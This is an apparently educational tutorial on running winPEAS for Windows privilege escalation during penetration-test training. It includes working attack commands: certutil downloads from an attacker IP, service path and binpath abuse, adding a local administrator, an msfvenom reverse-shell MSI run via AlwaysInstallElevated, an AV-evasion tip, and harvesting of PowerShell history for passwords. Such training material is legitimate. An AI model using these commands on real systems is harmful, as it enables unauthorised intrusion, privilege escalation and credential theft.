winPEAS

Automated Windows privilege escalation enumeration script. Scans for misconfigurations, credential files, vulnerable services, unquoted paths, and everything else that could lead to SYSTEM. Run it first, read the colors.

Windows CPTS

LevelBeginner. Run it first after you land on a Windows machine as a normal user.

Know firstWhat a Windows service is, and how to get a file onto a target.

You will learn torun winPEAS, save its output, and read the colored findings to choose a privilege escalation path.

What is it?

winPEAS (Windows Privilege Escalation Awesome Scripts) automatically checks for dozens of privilege escalation vectors on a Windows machine. It's the Windows equivalent of linPEAS. You upload it, run it, and read the color-coded output.

The output is color-coded:

Red/Yellow = almost certainly exploitable, investigate immediately
Orange = interesting finding, worth investigating
Green = informational, context for other findings

winPEAS doesn't exploit anything: it only enumerates. It tells you what's misconfigured; you decide how to exploit it.

winPEAS vs Seatbelt vs SharpUp

winPEAS is the broadest: it checks everything and produces a massive output. Seatbelt is more targeted and organized by category. SharpUp only checks for things it knows how to exploit (actionable findings only). Run winPEAS first for coverage, then targeted tools for specific things.

Run this first

Download winPEAS to the target, run it, and save the output to a file.

cmd: on the target

C:\> certutil -urlcache -f http://YOUR_IP:8080/winPEASx64.exe C:\temp\winpeas.exe
C:\> C:\temp\winpeas.exe > C:\temp\winpeas_output.txt

winPEASx64.exe is for 64-bit Windows. The 32-bit build can miss things on a 64-bit system.
> winpeas_output.txt saves the output, which would otherwise scroll past your terminal buffer.

Read the red findings first, then orange, and read the Services and Files sections in full. Then run the manual checks winPEAS does not replace: whoami /priv, cmdkey /list and net localgroup Administrators.

output: a finding worth acting on

Current Token privileges
    SeImpersonatePrivilege: ENABLED  <-- this is what Potato Attacks exploit for SYSTEM

AutoLogon credentials
    DefaultUserName: svc_backup
    DefaultPassword: Summer2024!  <-- plaintext password sitting in the registry

When do you use it?

Immediately after landing on a Windows machine as a non-admin user. It's step 1 of privilege escalation enumeration. Also useful when you have admin but want to find credential files or further escalation paths.

How do you use it?

Upload and run

cmd / powershell

REM Option 1: Upload via evil-winrm
*Evil-WinRM* PS C:\> upload /home/kali/tools/winPEASx64.exe C:\temp\winpeas.exe

REM Option 2: Download from your web server
C:\> certutil -urlcache -f http://YOUR_IP:8080/winPEASx64.exe C:\temp\winpeas.exe

REM Run it (save output, it's long)
C:\> C:\temp\winpeas.exe > C:\temp\winpeas_output.txt

REM Or run with specific checks only
C:\> winpeas.exe servicesinfo
C:\> winpeas.exe userinfo
C:\> winpeas.exe filesinfo

Save the output!

winPEAS output is extremely long. Always redirect to a file (> output.txt) and download it to Kali for comfortable reading. Scrolling through it in a reverse shell is painful and you'll miss things.

Alternative: .bat version (when .exe is blocked)

cmd

REM If AV blocks the .exe, try the .bat version
C:\> winPEAS.bat > C:\temp\winpeas_output.txt

REM The .bat version is less comprehensive but harder for AV to detect

What to look for in the output

winPEAS checks dozens of things. Here are the categories that matter most for CPTS:

Finding	What it means	How to exploit
SeImpersonatePrivilege	Your account can impersonate tokens	Potato attacks → SYSTEM
Unquoted service path	A service path has spaces and isn't quoted	Place a malicious .exe in the path gap
Writable service binary	You can replace a service's .exe	Replace with your payload, restart service → runs as SYSTEM
Modifiable service config	You can change a service's binary path	`sc config svc binpath= "C:\temp\rev.exe"` → restart
AlwaysInstallElevated	MSI packages run with SYSTEM privileges	Create malicious .msi with msfvenom → `msiexec /i evil.msi`
Stored credentials	`cmdkey /list` shows saved creds	`runas /savecred /user:admin cmd`
AutoLogon credentials	Registry contains plaintext password	Use the password to escalate or move laterally
Scheduled tasks with writable paths	A task runs a script you can modify	Replace the script with your payload
DLL hijacking opportunities	A service/app loads a DLL from a writable location	Place a malicious DLL there
Passwords in files	Credentials in config files, scripts, history	Use them for lateral movement or escalation

High-priority winPEAS sections to read first

User privileges → SeImpersonatePrivilege, SeBackupPrivilege, SeDebugPrivilege
Services → unquoted paths, writable binaries, modifiable configs
Registry → AlwaysInstallElevated, AutoLogon creds
Interesting files → passwords in configs, PowerShell history, SAM backups
Scheduled tasks → tasks running as SYSTEM with writable scripts

Exploiting common findings

Unquoted service path

cmd

REM winPEAS found: C:\Program Files\Vulnerable App\service.exe (unquoted)
REM Windows will try: C:\Program.exe, C:\Program Files\Vulnerable.exe, then the real path

REM Check if you can write to C:\Program Files\Vulnerable App\
C:\> icacls "C:\Program Files\Vulnerable App"

REM If writable, place your payload
C:\> copy C:\temp\rev.exe "C:\Program Files\Vulnerable.exe"

REM Restart the service (needs permissions, or wait for reboot)
C:\> sc stop VulnService
C:\> sc start VulnService

Modifiable service binary or config

cmd

REM Change the service binary path to your payload
C:\> sc config VulnService binpath= "C:\temp\rev.exe"
C:\> sc stop VulnService
C:\> sc start VulnService

REM Or add yourself as admin
C:\> sc config VulnService binpath= "cmd /c net localgroup Administrators youruser /add"
C:\> sc stop VulnService
C:\> sc start VulnService

AlwaysInstallElevated

bash + cmd

# On Kali: generate a malicious .msi
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 -f msi -o evil.msi

# On target: install it (runs as SYSTEM)
C:\> msiexec /quiet /qn /i C:\temp\evil.msi

Common mistakes

Gotchas

Not saving output to a file: winPEAS output scrolls past your terminal buffer. Always > output.txt and read it properly
Only reading the red highlights: Orange and even green findings can be exploitable in context. Read the full Services and Files sections
Running the wrong architecture: Use winPEASx64.exe on 64-bit systems. The 32-bit version may miss things on a 64-bit OS
Ignoring PowerShell history: winPEAS checks ConsoleHost_history.txt. Admins sometimes type passwords in PowerShell, check: type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Skipping manual checks: winPEAS is thorough but not perfect. Always also run: whoami /priv, cmdkey /list, net localgroup Administrators, check C:\Users\* for interesting files

Check yourself

Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.

Why redirect winPEAS output to a file?

It scrolls past the terminal buffer. Save it with > output.txt and read it properly.

Which build do you run on a 64-bit system?

winPEASx64.exe. The 32-bit version may miss things on a 64-bit OS.

Which finding colors do you read?

Red first, but orange and even green findings can be exploitable in context, so read the full Services and Files sections.

Which file might hold typed passwords, and where is it?

The PowerShell history, ConsoleHost_history.txt, under %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\. Administrators sometimes type passwords into PowerShell.

Name two manual checks to run alongside winPEAS.

whoami /priv, cmdkey /list and net localgroup Administrators, plus a look through C:\Users\* for interesting files.